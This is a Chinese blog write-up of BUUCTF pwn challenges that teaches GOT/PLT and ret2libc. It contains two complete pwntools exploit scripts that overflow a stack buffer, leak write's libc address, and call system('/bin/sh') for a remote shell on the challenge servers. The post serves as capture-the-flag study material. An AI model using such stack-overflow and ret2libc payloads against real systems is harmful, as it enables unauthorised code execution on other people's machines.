buuctf pwn wp(第五波)认识GOT表和PLT

基础知识(做题之前先看看这个):

https://blog.csdn.net/weixin_43847969/article/details/104921964

首先,我们可以将PLT表理解为一辆列车,GOT表示终点站,我们通过PLT表这辆列车,就可以到达GOT表,如果我们通过某种手段修改了这辆列车的目的地,那我们就可以到我们想要去的GOT表中的位置
大致步骤如下,
确定函数A在GOT表中的地址,以及函数B在内存中的地址,将函数B的地址写入函数A在GOT中的地址
(例如知道wirte函数的地址,将其修改为system)

我们首先看看最简单的例子
在这里插入图片描述
查找后没有发现system和/bin/sh
在这里插入图片描述
于是我们就要通过程序内部加载的libc库来解决,并且同时利用刚才学到的GOT表和PLT表的知识,来达到我们的目的:把write函数指向的地址修改为system
其中的要点如下,PLT表执行后会

解题思路大致如下,我们利用write函数的漏洞,使其产生溢出,然后再溢出部分中写入write函数在plt表中的地址和write函数的返回地址,这样got表上就会出现write函数的地址,然后我们读取接受这个got表上的wirte函数的地址,然后我们要找到system的地址,同样利用libc库中的system即可(但是要注意存在所谓的偏移,这个偏移我们可以利用相同版本中各个函数存放的地址间隔相同的特点,利用的write在got表上的位置以及libc中的write的地址相减,我们就可以得出这个偏移)然后将偏移与libc中的system相加,就能得出在got表中的system的位置,同理也能得到/bin/sh位置
(write函数在got表上的地址需要plt表先行解析,并将地址存入GOT表,所以我们要先调用一次plt表上的write)



from pwn import *				#首先引入pwn库
p=remote('111.198.29.45' ,'37701')				#设定目标地址
elf=ELF('./level3')								#设定elf文件
libc=ELF('./libc_32.so.6')		

write_plt=elf.plt['write']								
write_got=elf.got['write']						#对应第一步,确认被替代的函数A(write)在got表和plt表中的位置,然后赋值
main_addr = elf.symbols['main']			#这里还要找到write函数的返回地址(write函数的返回地址正是main函数)

payload='a'*0x8C+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)		
#这里通过溢出使程序指向write在plt上的地址,让plt上的write被执行一次,然后依次传入write函数的三个参数p32(1)+p32(write_got)+p32(4),下面有解析,总之这样让我们从wirte的got表上读取了四位内存信息
#按照函数-》返回地址-》参数1-》参数2-》参数3这样顺序的原因以前的文章讲过,参数最后返回)
p.sendlineafter('Input:\n', payload)
write_addr=u32(p.recv())		#上面接收了,这里赋值给write_got_add中的地址							

libc_base=write_addr-libc.symbols['write']							#通过两者相减,计算libc与实际在got表中的差值,以此计算system与libc的差值
print  'libc_base is' ,libc_base

sys_addr = libc_base + libc.symbols['system']
bin_addr =libc_base+libc.search('/bin/sh').next()               #查找函数用symbols,查找字符串用search().next()下面有图

payload='A' * 0x8C+p32(sys_addr)+'AAAA'+p32(bin_addr)			#再次发送payload	AAAA覆盖返回地址
p.sendline(payload)
p.interactive()
	
p.close()

然后这一题其实相当类似,也就是几个参数变了一下

jarvisoj_level3

在这里插入图片描述

from pwn import *
conn=remote("node3.buuoj.cn","28545")
e=ELF("level3")
libc=ELF("libc-2.19.so")
write_addr=e.symbols['write']
vul_addr=e.symbols['vulnerable_function']
got_addr=e.got['write']

conn.recvuntil("Input:\n")
payload1="a"*0x88+"bbbb"+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
conn.send(payload1)
temp = conn.recv(4)
true_address = u32(temp[0:4])
print hex(true_address)

offset=true_address-libc.symbols['write']

bin_addr=libc.search("/bin/sh").next()+offset
sys_addr=libc.symbols['system']+offset

payload2="a"*0x88+"bbbb"+p32(sys_addr)+"junk"+p32(bin_addr)
conn.send(payload2)
conn.interactive()

https://blog.csdn.net/qq_40148538/article/details/102021844
https://blog.csdn.net/weixin_41617275/article/details/84796987

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值